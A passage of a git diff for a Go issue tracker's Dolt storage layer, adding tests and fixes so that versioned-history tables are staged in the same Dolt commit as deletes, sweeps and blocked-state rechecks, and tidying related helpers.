TestDualWriteContract runs the dual-write history contract with @@ -282,7 +283,12 @@ func TestDualWriteVersionRowsRideTheMutationsDoltCommit(t *testing.T) { t.Fatalf("issues.current_revision for %s = %d, want 1", id, currentRevision) } - for _, table := range []string{"issue_versions", "issues"} { + // All three tables issueops.VersionedHistoryStagedTables names, not just the + // two the version rows land in. store_epoch is the one whose loss this PR + // calls unrecoverable, and the first mint seeds its singleton row + // (version_history.go), so in this scenario it is guaranteed dirty-then-staged: + // a regression that dropped it from the staged set would otherwise pass here. + for _, table := range []string{"issue_versions", "store_epoch", "issues"} { var dirty int if err := store.db.QueryRowContext(ctx, `SELECT COUNT(*) FROM dolt_status WHERE table_name = ?`, table).Scan(&dirty); err != nil { @@ -293,3 +299,89 @@ func TestDualWriteVersionRowsRideTheMutationsDoltCommit(t *testing.T) { } } } + +// TestDualWriteDeleteNeighborRewriteRidesTheDeletesDoltCommit covers the +// staging plane neither DualWriteFixture nor the RunInTransaction case above can +// reach: the server-backed delete role. +// +// A delete is a version-completeness EXEMPTION for the row it removes — there is +// no surviving row to version — which is why issueops' own exemption table lists +// DeleteInTx. It is not an exemption for the TRANSACTION. DeleteInTx rewrites +// every surviving neighbor that cites a deleted id through UpdateIssueInTx, the +// minting entry point, so a delete with a neighbor really does mint; and until +// the fix this test arrived with, deleter.Delete staged its hand-listed +// sweptTables and nothing else, leaving those version rows in the working set +// while issuing its own DOLT_COMMIT. +// +// The delete path is also the only one of the three where the store_epoch +// assertion is load-bearing without arranging for it: history is turned on AFTER +// the fixture rows exist, so the delete's own transaction takes the first mint in +// this store and seeds the epoch singleton inside it. +func TestDualWriteDeleteNeighborRewriteRidesTheDeletesDoltCommit(t *testing.T) { + store, storeCleanup := setupTestStore(t) + defer storeCleanup() + ctx, cancel := testContext(t) + defer cancel() + configurer, ok := any(store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", store) + } + + const target, neighbor = "dwdel-target", "dwdel-neighbor" + fixtures := []*types.Issue{ + {ID: target, Title: "doomed", IssueType: types.TypeTask, Status: types.StatusOpen}, + // The citation is what makes this a MINTING delete: the rewrite only + // touches a neighbor whose text names a deleted id. + {ID: neighbor, Title: "survivor", Description: "blocked by " + target, + IssueType: types.TypeTask, Status: types.StatusOpen}, + } + for _, issue := range fixtures { + if err := store.CreateIssue(ctx, issue, "creator"); err != nil { + t.Fatalf("create %s: %v", issue.ID, err) + } + } + // An INBOUND edge, so the neighborhood read finds the survivor at all; + // Force is then what lets the delete orphan it instead of refusing. + if err := store.AddDependency(ctx, &types.Dependency{ + IssueID: neighbor, DependsOnID: target, Type: types.DepBlocks, + }, "linker"); err != nil { + t.Fatalf("add dep: %v", err) + } + + configurer.SetVersionedHistoryEnabled(true) + defer configurer.SetVersionedHistoryEnabled(false) + + deleter, err := store.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + result, err := deleter.Delete(ctx, publicops.DeleteRequest{ + IDs: []string{target}, Force: true, Actor: "deleter", + }) + if err != nil { + t.Fatalf("delete %s: %v", target, err) + } + if result.ReferencesUpdated != 1 { + t.Fatalf("ReferencesUpdated = %d, want 1 — the citation rewrite did not run, so this case is not exercising the minting delete path it exists for", result.ReferencesUpdated) + } + + var versions int + if err := store.db.QueryRowContext(ctx, + `SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?`, neighbor).Scan(&versions); err != nil { + t.Fatalf("count issue_versions for %s: %v", neighbor, err) + } + if versions != 1 { + t.Fatalf("issue_versions rows for the rewritten neighbor %s = %d, want 1 — the delete's own transaction is not scoped for minting", neighbor, versions) + } + + for _, table := range []string{"issue_versions", "store_epoch", "issues"} { + var dirty int + if err := store.db.QueryRowContext(ctx, + `SELECT COUNT(*) FROM dolt_status WHERE table_name = ?`, table).Scan(&dirty); err != nil { + t.Fatalf("read dolt_status for %s: %v", table, err) + } + if dirty != 0 { + t.Errorf("dolt_status still reports %s dirty after the delete committed — the neighbor's version rows are outside the delete's own Dolt commit: unreplicated, and waiting to be swept into whatever unrelated commit stages next", table) + } + } +} diff --git a/internal/storage/dolt/ephemeral_routing.go b/internal/storage/dolt/ephemeral_routing.go index 74bbd20ac..d745aa427 100644 --- a/internal/storage/dolt/ephemeral_routing.go +++ b/internal/storage/dolt/ephemeral_routing.go @@ -348,7 +348,8 @@ func (s *DoltStore) demoteToWispInTx(ctx context.Context, tx *sql.Tx, id string, // The hazard remains LIVE everywhere the in-tx ordering survives — a larger // surface than this helper's callers: wisp promote/demote (this file), // legacy reopen (issues.go), RunInIssueLifecycleTransaction -// (transaction.go), AND the same DOLT_ADD/DOLT_COMMIT-inside-tx pattern +// (transaction.go), the role deleter and sweeper (deleter.go, sweeper.go), +// AND the same DOLT_ADD/DOLT_COMMIT-inside-tx pattern // inlined directly in the legacy DoltStore write methods in issues.go and // slots.go (UpdateIssue, UpdateIssueChecked, ClaimIssue, ClaimReadyIssue, // UnclaimIssue, UnclaimIssueIfAssignee, ReclaimExpiredLeases, CloseIssue*, @@ -361,15 +362,17 @@ func (s *DoltStore) demoteToWispInTx(ctx context.Context, tx *sql.Tx, id string, // The STAGED SET is the hazard's other axis, and it widened. When versioned // history is active, withVersionedHistoryTables adds issue_versions and // store_epoch to whatever fixed list a caller passed (every caller here -// already stages issues), so those two tables are now exposed to the lost -// update above on every in-tx plane named in the paragraph above. The -// exposure is not equivalent to the one issues already had: a reverted issues -// row is rewritten by the next mutation of that bead, while issue_versions -// and store_epoch are append-only, so a row reverted to its BEGIN-time value -// is never rewritten -- it is gone, leaving a hole in the history no later -// write fills. Migrating these planes to the post-tx ordering closes this -// along with the rest of the hazard; it is written down here so the -// activation phase inherits a known hazard rather than discovering it. +// already stages issues), and the role deleter and sweeper call it on their +// own fixed list for the same durability reason, so those two tables are now +// exposed to the lost update above on every in-tx plane named in the paragraph +// above. The exposure is not equivalent to the one issues already had: a +// reverted issues row is rewritten by the next mutation of that bead, while +// issue_versions and store_epoch are append-only, so a row reverted to its +// BEGIN-time value is never rewritten -- it is gone, leaving a hole in the +// history no later write fills. Migrating these planes to the post-tx +// ordering closes this along with the rest of the hazard; it is written down +// here so the activation phase inherits a known hazard rather than +// discovering it. func (s *DoltStore) doltAddAndCommitInTx(ctx context.Context, tx *sql.Tx, tables []string, commitMsg string) error { // Batch/off auto-commit (bd-4wamg): leave the writes in the working set // for a later explicit commit point (bd dolt commit / CommitPending) diff --git a/internal/storage/dolt/journal_scope_completeness_test.go b/internal/storage/dolt/journal_scope_completeness_test.go index 491eae888..0e709acc5 100644 --- a/internal/storage/dolt/journal_scope_completeness_test.go +++ b/internal/storage/dolt/journal_scope_completeness_test.go @@ -8,7 +8,7 @@ import ( // scopeCalls are the ways a function binds journal activation to the concrete // transaction it just began: the store helper, or the issueops primitive it -// wraps (runDoltTransaction calls the latter directly). +// wraps (runDoltTransactionRecording calls the latter directly). var scopeCalls = map[string]bool{ "scopeEventsJournalTransaction": true, "ScopeEventsJournalTransaction": true, @@ -88,7 +88,7 @@ func TestEveryRawTxJournalScopeIsScopedOrExempt(t *testing.T) { for key, f := range doltFns { // In scope: a function that mints its own transaction AND hands it to a // journaling mutator IN ITS OWN BODY. A function given a tx by - // withWriteTx/runDoltTransaction inherits their scoping, and those two + // withWriteTx/runDoltTransactionRecording inherits their scoping, and those two // are checked here in their own right. // // Reachability is deliberately DIRECT rather than a call-graph fixpoint. diff --git a/internal/storage/dolt/schema_init_timeout_test.go b/internal/storage/dolt/schema_init_timeout_test.go new file mode 100644 index 000000000..dcb665f7e --- /dev/null +++ b/internal/storage/dolt/schema_init_timeout_test.go @@ -0,0 +1,32 @@ +package dolt + +import ( + "testing" + "time" +) + +// TestSchemaInitTimeoutHasLoadHeadroom guards be-696w: testTimeout (dolt_test.go) +// bounds every migrating store-open in this package, directly or via +// testContext. At 45s it was measured too tight under real host contention — +// cross_project_test.go and TestMigratingOpen_FirstReadSucceeds both failed +// with "failed to initialize schema: context deadline exceeded" at exactly +// that bound (see be-696w). This is a floor, not an exact-value check, so a +// future deliberate increase does not need to touch this test — only a +// regression back toward the too-tight value trips it. +// +// Why 90s and not some other floor: the caller's budget has to cover cold +// server start, the Ping, the schema-init retry wrapper's full +// serverRetryMaxElapsed (30s, declared in store.go) and one migration pass. +// That wrapper (initSchemaOnDBWithRetryAndGateBootstrapHeal) composes its +// backoff with backoff.WithContext on the caller's context, so the caller's +// budget is the hard ceiling and no retry can absorb its exhaustion — which is +// why be-696w had to be fixed by raising this constant. Same sizing rule the +// multiprocess child documents for its own ctx in +// initschema_multiprocess_test.go. +func TestSchemaInitTimeoutHasLoadHeadroom(t *testing.T) { + const minTestTimeout = 90 * time.Second + if testTimeout < minTestTimeout { + t.Fatalf("testTimeout = %s, want >= %s (be-696w: 45s measured too tight under host contention)", + testTimeout, minTestTimeout) + } +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index eae16e734..581b2a16d 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -896,20 +896,19 @@ var doltTracer = otel.Tracer("github.com/steveyegge/beads/storage/dolt") // Instruments are registered against the global delegating provider at init time, // so they automatically forward to the real provider once telemetry.Init() runs. var doltMetrics struct { - retryCount metric.Int64Counter - lockWaitMs metric.Float64Histogram - circuitTrips metric.Int64Counter - circuitRejected metric.Int64Counter - serializationErrors metric.Int64Counter - writeRetries metric.Int64Counter - postTxCommitDropped metric.Int64Counter - blockedRecheckDropped metric.Int64Counter - connAcquireMs metric.Float64Histogram - poolWaitCount metric.Int64Counter - poolWaitMs metric.Float64Histogram - claimVerifyLost metric.Int64Counter - claimVerifyRecovered metric.Int64Counter - ignoredTxFreshPool metric.Int64Counter + retryCount metric.Int64Counter + lockWaitMs metric.Float64Histogram + circuitTrips metric.Int64Counter + circuitRejected metric.Int64Counter + serializationErrors metric.Int64Counter + writeRetries metric.Int64Counter + postTxCommitDropped metric.Int64Counter + connAcquireMs metric.Float64Histogram + poolWaitCount metric.Int64Counter + poolWaitMs metric.Float64Histogram + claimVerifyLost metric.Int64Counter + claimVerifyRecovered metric.Int64Counter + ignoredTxFreshPool metric.Int64Counter } func init() { @@ -942,10 +941,6 @@ func init() { metric.WithDescription("Post-tx dolt commits abandoned after retries; the data landed but no dolt commit was minted (change rides the next commit on the branch)"), metric.WithUnit("{commit}"), ) - doltMetrics.blockedRecheckDropped, _ = m.Int64Counter("bd.db.blocked_recheck_dropped", - metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), - metric.WithUnit("{recheck}"), - ) doltMetrics.connAcquireMs, _ = m.Float64Histogram("bd.db.conn_acquire_ms", metric.WithDescription("Time to acquire a pooled connection for a Dolt transaction"), metric.WithUnit("ms"), @@ -1290,6 +1285,20 @@ func (s *DoltStore) commitWriteTx(ctx context.Context, fn func(tx *sql.Tx) error // the corrected flag reaches history the way the close's own rows did rather // than sitting dirty in the working set. // +// Publication ordering (lost-update fix, LatentLabsSpace/NEXUS#92): the Dolt +// commit runs AFTER the recompute transaction has committed, through +// doltAddAndCommitPostTx, exactly as runIssueOperationTxWithMessage does and +// for a sharper reason than that path had. DOLT_ADD stages the whole table +// from the session's transaction root, so minting the commit inside the still +// open transaction would write every row a concurrent writer committed inside +// that window back to its BEGIN-time value — the hazard doltAddAndCommitInTx +// documents. A recheck runs precisely and only when concurrent unblocking +// writes are racing on issues, so that window is never idle here. Committing +// the SQL transaction first lets Dolt's commit-time merge reconcile this +// repair with those writers, and the post-commit staging then stages the +// merged state. This also keeps the append-only versioned-history tables that +// withVersionedHistoryTables adds to the staged set out of that hazard. +// // It runs on issueops.BlockedRecheckContext: the write it follows is durable, // so the repair must outlive that write's cancellation, and a recheck must // never start another recheck. The returned failure is for the caller to log, @@ -1300,16 +1309,39 @@ func (s *DoltStore) recheckBlockedAfterCommit(ctx context.Context, pending issue } ctx, cancel := issueops.BlockedRecheckContext(ctx) defer cancel() + var rowsChanged bool err := s.withRetryTx(ctx, func(tx *sql.Tx) error { + // Plain assignment, never |=: withRetryTx re-runs this body on a retry + // and the rolled-back attempt's verdict must not survive into the + // publication decision below (the closure contract on withRetryTx). + rowsChanged = false result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, tx, pending.IssueIDs, pending.WispIDs) - if err != nil || !result.IssueRowsChanged { + if err != nil { return err } - return s.doltAddAndCommitInTx(ctx, tx, []string{"issues"}, pending.CommitMessage()) + rowsChanged = result.IssueRowsChanged + return nil }) if err != nil { return issueops.BlockedRecheckFailed(err) } + if !rowsChanged { + return nil + } + commitMsg := pending.CommitMessage() + if err := s.doltAddAndCommitPostTx(ctx, []string{"issues"}, commitMsg); err != nil { + // The repair itself is committed and durable: only its audit commit is + // missing, and the corrected flag rides the next Dolt commit on the + // branch. This is the post_tx_commit_dropped situation, not the recheck + // failure logBlockedRecheckFailure reports — that line tells an operator + // rows are possibly stale and prescribes `bd recompute-blocked`, which + // would be false here and would fire the counter a fleet alerts on for + // rows that are already correct. Accounted exactly like + // runIssueOperationTxWithMessage's trailing commit instead. + doltMetrics.postTxCommitDropped.Add(ctx, 1) + log.Printf("dolt: post-tx dolt commit failed for %q (blocked-state repair already committed; change rides the next dolt commit): %v", + commitMsg, err) + } return nil } @@ -1329,8 +1361,7 @@ func logBlockedRecheckFailure(ctx context.Context, pending issueops.BlockedReche if err == nil { return } - doltMetrics.blockedRecheckDropped.Add(ctx, 1) - log.Printf("warning: %s", issueops.BlockedRecheckFailureMessage(pending, err)) + issueops.ReportBlockedRecheckFailure(ctx, pending, err) } // SetEventsJournalEnabled activates the journal for this store instance only. @@ -1453,44 +1484,12 @@ func (s *DoltStore) BackupRemove(ctx context.Context, name string) error { // BackupDatabase registers dir as a file:// Dolt backup remote and syncs // the full database to it, preserving complete commit history. func (s *DoltStore) BackupDatabase(ctx context.Context, dir string) error { - info, err := os.Stat(dir) - if err != nil { - return fmt.Errorf("backup destination does not exist: %w", err) - } - if !info.IsDir() { - return fmt.Errorf("backup destination is not a directory: %s", dir) - } - - backupURL, err := versioncontrolops.DirToFileURL(dir) - if err != nil { - return err - } - backupName := "backup_export" - syncDB, err := s.oneShotConn(0) if err != nil { return err } defer syncDB.Close() - - // Register as a backup remote (idempotent — remove first if exists). - _ = versioncontrolops.BackupRemove(ctx, s.db, backupName) - if err := versioncontrolops.BackupAdd(ctx, s.db, backupName, backupURL); err != nil { - // Another backup (e.g. "default" registered by `bd backup init`) may - // already point to this URL. In that case, sync using the existing - // remote name rather than failing. - if conflict := versioncontrolops.ExtractAddressConflictName(err); conflict != "" { - if syncErr := versioncontrolops.BackupSync(ctx, syncDB, conflict); syncErr != nil { - return fmt.Errorf("sync to backup: %w", syncErr) - } - return nil - } - return fmt.Errorf("register backup remote: %w", err) - } - if err := versioncontrolops.BackupSync(ctx, syncDB, backupName); err != nil { - return fmt.Errorf("sync to backup: %w", err) - } - return nil + return versioncontrolops.BackupToDir(ctx, s.db, syncDB, dir) } // RestoreDatabase restores the database from a Dolt backup at dir. diff --git a/internal/storage/dolt/suite_leak_linux_test.go b/internal/storage/dolt/suite_leak_linux_test.go index 769722d0f..e5b20556c 100644 --- a/internal/storage/dolt/suite_leak_linux_test.go +++ b/internal/storage/dolt/suite_leak_linux_test.go @@ -12,6 +12,7 @@ import ( "time" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" "github.com/steveyegge/beads/internal/testutil/bazeltest" ) @@ -67,6 +68,10 @@ func TestSuiteFixtureLeakFailsOwningSuite(t *testing.T) { defer writeEnd.Close() t.Setenv("BEADS_SUITE_LEAK_PROBE", "1") t.Setenv("BEADS_TEST_SKIP", "dolt") + // The child skips Dolt on purpose, so a lane's fail-closed switch (set + // when this suite runs against a required server) must not turn that + // skip into a FATAL before the child reaches its leak sweep. + t.Setenv(testutil.EnvRequireDoltContainer, "") t.Setenv(doltserver.AllowLeakEnv, "") // This child is a complete suite, not one of the schema-init helpers // which deliberately bypass suite ownership and shutdown. diff --git a/internal/storage/dolt/sweeper.go b/internal/storage/dolt/sweeper.go index 8d6bae809..d1f6d81d8 100644 --- a/internal/storage/dolt/sweeper.go +++ b/internal/storage/dolt/sweeper.go @@ -73,7 +73,14 @@ func (s *sweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (issueop if result.Swept == 0 { return nil } - for _, table := range sweptTables { + // Through the same funnel the deleter uses. A sweep mints nothing today + // — SweepInTx deletes through DeleteIssuesInTx, which rewrites no + // neighbor, so there is no surviving row to version — but it shares + // this table list and the minting-scoped withWriteTx with the deleter, + // and a staging list that carries the version tables on one and not the + // other is the asymmetry the wisp-arm scope comment refused: inert + // today, and silently wrong the day a sweep gains a surviving-row write. + for _, table := range s.store.withVersionedHistoryTables(sweptTables) { _ = schema.DrainCall(ctx, tx, "CALL DOLT_ADD(?)", table) } msg := fmt.Sprintf("bd: sweep %d %s bead(s)", result.Swept, req.Tier) diff --git a/internal/storage/dolt/testmain_test.go b/internal/storage/dolt/testmain_test.go index 02f367f74..dc261aa5e 100644 --- a/internal/storage/dolt/testmain_test.go +++ b/internal/storage/dolt/testmain_test.go @@ -132,7 +132,9 @@ func testMainInner(m *testing.M) int { defer os.Unsetenv(testCircuitBreakerDirEnv) } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/internal/storage/dolt/transaction.go b/internal/storage/dolt/transaction.go index eebc41a00..8bebf0b9f 100644 --- a/internal/storage/dolt/transaction.go +++ b/internal/storage/dolt/transaction.go @@ -156,6 +156,21 @@ func (t *doltTransaction) dirtyTableNames() []string { } func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn func(tx storage.Transaction) error) error { + pending, err := s.runDoltTransactionRecording(ctx, commitMsg, fn) + // Settled here, after the pinned connection and any borrowed ignored-table + // connection have gone back to the pool: the recheck needs one of its own. + // pending is non-empty only when the regular SQL commit landed or may have + // landed, so this also runs when the Dolt commit after it failed + // (ErrCommitIndeterminate): those rows are committed all the same. + s.settleBlockedRecheck(ctx, pending) + return err +} + +// runDoltTransactionRecording is runDoltTransaction's transaction. Once it has +// committed it hands back the dependents the callback's unblocking writes +// recorded on either of its SQL transactions, for the post-commit +// blocked-state recheck (gastownhall/beads#6716). +func (s *DoltStore) runDoltTransactionRecording(ctx context.Context, commitMsg string, fn func(tx storage.Transaction) error) (issueops.BlockedRecheck, error) { // Pin a single connection for the entire operation: SQL transaction, // config protection, and DOLT_COMMIT must all run on the same Dolt // session. Each pool connection has an independent working set in Dolt @@ -182,18 +197,18 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn } if err != nil { - return fmt.Errorf("failed to acquire connection: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to acquire connection: %w", err) } defer conn.Close() var currentBranch string if err := conn.QueryRowContext(ctx, "SELECT active_branch()").Scan(¤tBranch); err != nil { - return fmt.Errorf("failed to read active branch: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to read active branch: %w", err) } regularTx, err := conn.BeginTx(ctx, nil) if err != nil { - return fmt.Errorf("failed to begin regular tx: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to begin regular tx: %w", err) } // The journal counter and rows must commit in the SAME SQL transaction as @@ -220,7 +235,7 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn ignoredCleanup, ignoredTx, err = s.beginIgnoredTxOnBranch(ctx, currentBranch) if err != nil { _ = regularTx.Rollback() - return err + return issueops.BlockedRecheck{}, err } defer ignoredCleanup() } @@ -237,6 +252,15 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn // update IS the creation. clearVersionScope := issueops.ScopeVersionedHistoryTransaction(regularTx, s.versionedHistoryEnabled.Load()) defer clearVersionScope() + // Unblocking writes record their dependents on whichever transaction they + // ran in: the regular one, or the ignored one wisps use when the journal + // does not pin both planes together. + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(regularTx) + defer clearRecheckScope() + if !journalEnabled { + clearIgnoredRecheckScope := issueops.ScopeBlockedRecheckTransaction(ignoredTx) + defer clearIgnoredRecheckScope() + } tx := &doltTransaction{regularTx: regularTx, ignoredTx: ignoredTx, store: s, journalPinned: journalEnabled} @@ -255,10 +279,34 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn if !journalEnabled { _ = ignoredTx.Rollback() } - return err + return issueops.BlockedRecheck{}, err } - return s.finishDoltTransaction(ctx, conn, tx, commitMsg) + return s.finishDoltTransactionRecording(ctx, conn, tx, commitMsg) +} + +// finishDoltTransactionRecording is finishDoltTransaction that also hands back +// the dependents the transaction's unblocking writes recorded, on either of its +// SQL transactions, for the post-commit blocked-state recheck. +// +// They are handed back with the error when the commit is indeterminate +// (ErrCommitIndeterminate): the regular SQL commit may have landed, or did land +// and only the Dolt commit or the ignored-table commit after it failed. The +// rows are then committed without a caller being able to replay the write, so +// the recheck is the only thing that can settle their dependents; being a full +// recompute of committed state, it is harmless if the commit did not land. +// Any other failure means the regular SQL commit was refused and rolled back, +// and nothing is handed back. +func (s *DoltStore) finishDoltTransactionRecording(ctx context.Context, conn *sql.Conn, tx *doltTransaction, commitMsg string) (issueops.BlockedRecheck, error) { + err := s.finishDoltTransaction(ctx, conn, tx, commitMsg) + if err != nil && !errors.Is(err, ErrCommitIndeterminate) { + return issueops.BlockedRecheck{}, err + } + pending := issueops.TakeBlockedRecheck(tx.regularTx) + if !tx.journalPinned { + pending = pending.Merge(issueops.TakeBlockedRecheck(tx.ignoredTx)) + } + return pending, err } // finishDoltTransaction commits the regular SQL transaction, its associated diff --git a/internal/storage/dolt/version_scope_completeness_test.go b/internal/storage/dolt/version_scope_completeness_test.go index 985492533..89b3ab11c 100644 --- a/internal/storage/dolt/version_scope_completeness_test.go +++ b/internal/storage/dolt/version_scope_completeness_test.go @@ -8,7 +8,7 @@ import ( // versionScopeCalls are the ways a function binds versioned-history activation // to the concrete transaction it just began: the store helper, or the issueops -// primitive it wraps (runDoltTransaction calls the latter directly). +// primitive it wraps (runDoltTransactionRecording calls the latter directly). var versionScopeCalls = map[string]bool{ "scopeVersionedHistoryTransaction": true, "ScopeVersionedHistoryTransaction": true, @@ -98,7 +98,7 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { for key, f := range doltFns { // In scope: a function that mints its own transaction AND hands it to a // versioning mutator IN ITS OWN BODY. A function given a tx by - // withWriteTx/runDoltTransaction inherits their scoping, and those two + // withWriteTx/runDoltTransactionRecording inherits their scoping, and those two // are covered by TestTxMintingWrappersScopeVersionedHistory below. // Reachability is deliberately DIRECT, for the reasons the journal // guard documents at length. @@ -139,14 +139,15 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { // mutator themselves — the callback does, one frame down. // // They are also where the defect this guard exists for actually lived. -// runDoltTransaction is the entry point for bd create, batch create/import, -// bd graph apply, merge_slot and the CLI transact wrappers, so an unscoped -// runDoltTransaction leaves most of the issues plane unversioned while every +// runDoltTransaction (whose transaction is runDoltTransactionRecording) is the +// entry point for bd create, batch create/import, bd graph apply, merge_slot +// and the CLI transact wrappers, so an unscoped runDoltTransactionRecording +// leaves most of the issues plane unversioned while every // raw-tx site in the scan above still looks perfectly scoped. Deleting its // scope call does NOT fail the scan (verified by deleting it) — which is why // this second arm exists rather than being folded into the first. var txMintingWrappers = []string{ - "DoltStore.runDoltTransaction", + "DoltStore.runDoltTransactionRecording", "DoltStore.commitWriteTx", } diff --git a/internal/storage/dolt/version_staging_completeness_test.go b/internal/storage/dolt/version_staging_completeness_test.go new file mode 100644 index 000000000..0702751ba --- /dev/null +++ b/internal/storage/dolt/version_staging_completeness_test.go @@ -0,0 +1,104 @@ +package dolt + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/journalscan" +) + +// versionStagingFunnels are the ways a staging path picks up the tables the +// versioned-history seam writes: the store helper that appends them to a +// caller's fixed list, or the dirty-table tracker that marks them for +// versioncontrolops.StageAndCommit. +var versionStagingFunnels = map[string]bool{ + "withVersionedHistoryTables": true, + "MarkVersionedHistoryDirty": true, +} + +// doltAddStagingExemptions are functions that issue a DOLT_ADD and legitimately +// do NOT route their staged set through a funnel, each with a reason. The +// staleness check below fails if one stops being flagged, so an exemption +// cannot rot. +var doltAddStagingExemptions = map[string]string{ + "DoltStore.commitWorkingSet": "stages the dolt_status-derived dirty set rather than a fixed list: a dirty issue_versions or store_epoch is already in that set by construction, so there is nothing for withVersionedHistoryTables to append", +} + +// TestEveryDoltAddStagesVersionedHistoryTables is the staging twin of +// TestEveryRawTxVersionScopeIsScopedOrExempt, and exists for the same reason at +// one step further down the path: those guards prove the seam MINTS and that +// the store turns minting ON for the transaction it mints in; nothing proved +// the minted rows are STAGED into the Dolt commit the mutation makes. Until +// this guard existed, withVersionedHistoryTables' own "Every fixed-list +// DOLT_ADD path in this package routes through here" was an asserted claim, and +// it was false: the role deleter and sweeper looped their hand-listed +// sweptTables directly, so a delete that rewrote a surviving neighbor's +// citations minted version rows inside a transaction that then staged +// everything except them. +// +// Unstaged version rows are the quiet failure this whole phase exists to close. +// They read back perfectly from SQL while sitting in the working set, outside +// the commit that describes them: unreplicated, and liable to be swept into +// whatever unrelated commit stages next. For the append-only tables the loss is +// the unrecoverable kind — no later write refills a hole in issue_versions or +// store_epoch the way the next mutation of a bead rewrites its issues row. +// +// KNOWN LIMIT: the detector reads the string literals a function passes as call +// ARGUMENTS, which is the form every DOLT_ADD in this package uses. A DOLT_ADD +// assembled in a variable or through fmt.Sprintf would be invisible to it — the +// non-vacuity check below is what keeps that from silently emptying the guard, +// the way the scope guards' own "the guard is not actually running" fatals do. +func TestEveryDoltAddStagesVersionedHistoryTables(t *testing.T) { + doltFns, err := journalscan.ParsePackage(".") + if err != nil { + t.Fatalf("parse dolt package: %v", err) + } + + seenExempt := map[string]bool{} + var checked int + for key, f := range doltFns { + if !callsDoltAdd(f) { + continue + } + if reason, ok := doltAddStagingExemptions[key]; ok { + if reason == "" { + t.Errorf("%s has an empty DOLT_ADD staging exemption reason", key) + } + seenExempt[key] = true + continue + } + checked++ + if !f.CallsAnyOf(versionStagingFunnels) { + t.Errorf("%s stages tables with DOLT_ADD but never routes the set through withVersionedHistoryTables "+ + "(or marks it with MarkVersionedHistoryDirty) — when versioned history is active the version rows this "+ + "transaction minted stay in the working set, outside the Dolt commit that describes them: unreplicated, "+ + "and for the append-only tables unrecoverable. Route the list through s.withVersionedHistoryTables, "+ + "or add it to doltAddStagingExemptions with a reason.", key) + } + } + + if checked == 0 { + t.Fatal("guard found no DOLT_ADD staging path — literal detection or parsing changed; the guard is not actually running") + } + for key := range doltAddStagingExemptions { + if !seenExempt[key] { + t.Errorf("DOLT_ADD staging exemption %q no longer matches a DOLT_ADD path — remove it", key) + } + } +} + +// callsDoltAdd reports whether f passes a DOLT_ADD statement to anything. It +// deliberately asks nothing about the SHAPE of the call: a whole-working-set +// DOLT_ADD('-A') needs no funnel, but making that an automatic pass would let a +// future fixed-list site hide behind a shape test. Such a site takes an +// exemption line naming the reason instead. +func callsDoltAdd(f *journalscan.FuncInfo) bool { + for _, call := range f.Calls { + for _, arg := range call.Args { + if strings.Contains(arg, "DOLT_ADD") { + return true + } + } + } + return false +} diff --git a/internal/storage/dolt/versioned.go b/internal/storage/dolt/versioned.go index 7c1678355..ad0c4a7a6 100644 --- a/internal/storage/dolt/versioned.go +++ b/internal/storage/dolt/versioned.go @@ -188,12 +188,7 @@ func (s *DoltStore) ListBranches(ctx context.Context) ([]string, error) { // GetCurrentCommit returns the hash of the current HEAD commit. // Implements storage.VersionedStorage. func (s *DoltStore) GetCurrentCommit(ctx context.Context) (string, error) { - var hash string - err := s.db.QueryRowContext(ctx, "SELECT DOLT_HASHOF('HEAD')").Scan(&hash) - if err != nil { - return "", fmt.Errorf("failed to get current commit: %w", err) - } - return hash, nil + return versioncontrolops.CurrentCommit(ctx, s.db) } // GetStateHash returns a hash of the entire database including the working diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index 36b6bee66..e8452a674 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -194,12 +194,14 @@ func (s *DoltStore) updateWisp(ctx context.Context, id string, updates map[strin clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.UpdateIssueInTx(ctx, tx, id, updates, actor); err != nil { return err } - return s.commitSQLTx(ctx, "commit update wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit update wisp", tx) } // updateWispChecked updates a wisp with the optional atomic preconditions of @@ -221,6 +223,8 @@ func (s *DoltStore) updateWispChecked(ctx context.Context, id string, updates ma clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if opts.ExpectedVersion != nil { if err := issueops.CheckVersionInTx(ctx, tx, id, *opts.ExpectedVersion); err != nil { @@ -234,7 +238,7 @@ func (s *DoltStore) updateWispChecked(ctx context.Context, id string, updates ma return err } - return s.commitSQLTx(ctx, "commit update wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit update wisp", tx) } // closeWisp closes a wisp in the wisps table. @@ -249,12 +253,14 @@ func (s *DoltStore) closeWisp(ctx context.Context, id string, reason 